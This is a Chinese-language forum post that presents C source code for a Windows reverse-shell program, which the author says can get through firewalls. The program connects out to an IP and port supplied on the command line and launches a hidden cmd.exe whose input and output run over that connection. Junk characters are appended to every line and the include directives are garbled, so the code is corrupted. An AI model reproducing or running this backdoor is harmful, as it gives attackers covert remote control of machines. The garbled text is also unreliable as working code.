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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]+J]}C]\d  
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/* ============================== U2G\GU1 X  
Rebound port in Windows NT `AYHCn  
By wind,2006/7 HIF.;ImG^  
===============================*/ oqG 0 @@  
#include <}|+2f233+  
#include ZVI.s U  
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#pragma comment(lib,"wsock32.lib") 3uN;*f  
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void OutputShell(); CnJO]0Op3  
SOCKET sClient; d~qDQ6!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; m,-:(82  
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void main(int argc,char **argv) O%rjY  
{ *`|F?wF  
WSADATA stWsaData; ).xQ~A\.  
int nRet; v\Q${6kEtx  
SOCKADDR_IN stSaiClient,stSaiServer; SC'fT!  
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if(argc != 3) ZVeY`o(uE  
{ la f b^  
printf("Useage:\n\rRebound DestIP DestPort\n"); C]{43  
return; ptX;-'j(  
} uQrD}%GI  
f\1)BZ'I  
WSAStartup(MAKEWORD(2,2),&stWsaData); nd-y`@z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {G_ZEo#x8,  
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stSaiClient.sin_family = AF_INET; fAYm3+.l3  
stSaiClient.sin_port = htons(0); IEHAPt'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z0a=A:+/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =! /S |  
{ Fj|C+;Q.  
printf("Bind Socket Failed!\n"); 0z.Hl1  
return; i{xgygp6f  
} }VdohX-  
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stSaiServer.sin_family = AF_INET; =ejkE; %L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @"];\E$sI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q!MS_ #O  
 #\Lt0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2B5Z0<  
{ Wcw$ Zv  
printf("Connect Error!"); _z~|*7@  
return; A@+pvC&  
} rD fUTfv|Q  
OutputShell(); B xq(+^T  
} EC|t4u3  
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void OutputShell() X& pK#=  
{ E\5t&jZr  
char szBuff[1024]; BA53   
SECURITY_ATTRIBUTES stSecurityAttributes; Ac|IBXGa=  
OSVERSIONINFO stOsversionInfo; &")ON[|b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yY[N\*P  
STARTUPINFO stStartupInfo; cd#@"&r  
char *szShell; o{lR_  
PROCESS_INFORMATION stProcessInformation; BH0].-)[y!  
unsigned long lBytesRead; >`SIB; &>j  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 44b;]htv  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); D!+d]A[r  
stSecurityAttributes.lpSecurityDescriptor = 0; .sgP3Ah  
stSecurityAttributes.bInheritHandle = TRUE; ymiOtA Z  
FTsvPLIv"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JT#jJ/^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {rBS52,Z#  
FQ2 6(.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Hcq?7_)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l`4hWs\I  
stStartupInfo.wShowWindow = SW_HIDE; a"4j9cO  
stStartupInfo.hStdInput = hReadPipe; +QGZ2_vW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M<4~ewWJ  
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GetVersionEx(&stOsversionInfo); tU.Y$%4  
7='lu;=,  
switch(stOsversionInfo.dwPlatformId) M3!A?!BU  
{ := C-P7  
case 1: <!Ed ND=  
szShell = "command.com"; q ^Un,h64t  
break; #41~`vq3  
default: 8XIG<Nc  
szShell = "cmd.exe"; &Rdg07e;>  
break; Ko|nF-r_  
} 8GgZAu'X  
UOC>H%r~M?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [W;iR_7T5  
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send(sClient,szMsg,77,0); W_8N?coM  
while(1) 7VduewKX8  
{ DD{-xCCR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p"\Z@c  
if(lBytesRead) JTA65T{3  
{ .zZee,kM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9`4M o+  
send(sClient,szBuff,lBytesRead,0); b"DaLwKkz  
} L3/m}AH,  
else F !g>fIg  
{ o'O;69D]tX  
lBytesRead=recv(sClient,szBuff,1024,0); LVP2jTz  
if(lBytesRead<=0) break; 38#BINhBt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wc`UcGO  
} nLicog)!I  
} gqJSz}'  
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return; Y@B0.5U2  
}
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